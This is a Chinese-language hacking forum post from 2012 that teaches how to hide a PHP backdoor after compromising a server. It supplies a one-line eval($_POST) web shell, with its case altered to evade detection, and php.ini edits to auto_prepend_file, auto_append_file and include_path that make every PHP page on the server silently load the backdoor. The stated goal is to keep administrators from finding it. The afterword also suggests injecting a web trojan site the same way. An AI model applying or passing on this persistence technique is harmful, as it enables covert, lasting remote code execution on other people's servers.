利用php.ini制作的另类后门

[复制链接]
查看326 | 回复0 | 2012-4-1 19:23:06 | 显示全部楼层 |阅读模式
最近在看完了一个程序的代码后又重新温习了PHP中文手册,在看的过程中突然想到了一个隐藏后门的方法,拿来给大家分享下嘿嘿:)在入侵服务器后如何能将后门做到不被管理员大叔发现这是很重要的。因此就出现了各种隐藏的方法,对于php来说大多是插入<?eval($_POST[a]);?>或者include()函数隐藏然后修改文件时间等等。网上多的很我就不在这罗嗦了。
测试环境:Apache/2.0.49(Win32)PHP/4.3.1+Winxpsp2

在我们取得一个服务器的最高权限后我们可以通过修改服务器的配置文件php.ini来达到我们隐藏后门的目的。修改系统目录下面的php.ini文件。在php.ini文件第395-397和第420-424一段

图1图2




根据手册中关于auto_prepend_file和auto_append_file数据处理配置选项可以看出默认条件下是为空的null而且是e文解释为AutomaticallyaddfilesbeforeorafteranyPHPdocument.不用我翻译了吧。如果我们将eval()函数的后门配置到php.ini文件里那么网站上所有的PHP文件将都会被include我们的后门。嘿嘿当然是不可见的只是在解析的时候才include,当然管理员大叔也是发现不了的。因为后门已经隐藏看都看不到。


经过测试发现我们需要修改的php.ini配置文件的2个地方。3图4




第1步:

在图3中修改设置添加我们eval()函数的后门的文件名,后门文件的名字一定要特别不能用index.php或者config.php等网站上可能用到的文件名。可以都添上也可以添一个。在此建议后门文件就用<?eVal($_POST[a]);?>最好将eval()函数大小写变化下。


第2步:

看是什么系统如果是win那么就修改423-424在此一定要注意

默认的配置几乎和php自带的没有任何改动

include_path=&ldquo;.;c:\php\includes&rdquo;前面的&ldquo;.&rdquo;代表/目录而&rdquo;;&rdquo;后面的目录代表Automaticallyaddfiles所有include文件的目录。因此我们要配置隐藏后门要修改为

include_path=&ldquo;d:\php\sapi;.&rdquo;我们所要include的文件目录放在根目录的前边。不然的话apache会在根目录下搜索我们的后门(当然是没有了从而导致服务器解析php文件失败),作为配置文件当然要把include_path前面的&rdquo;;&rdquo;去掉才能生效。然后重起服务就可以了。下面看看我们隐藏的后门运行的情况图5


真是杀人于无形啊所有服务器网站下面的php文件都可以被我们当作后门哦嘿嘿!关于其他环境的测试在iis5.06.0测试通过。根据我个人看法只要服务器支持php解析此法应该都可以测试成功。


后记:

关于利用php.ini配置文件来做后门当然也可以用来做点其他的东西,比如:include的文件中如果是一个网页木马的网站呢或者是我们可以写一个严格过滤恶意用户提交的非法字符等等。就看你怎么用了好了就到这吧.
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则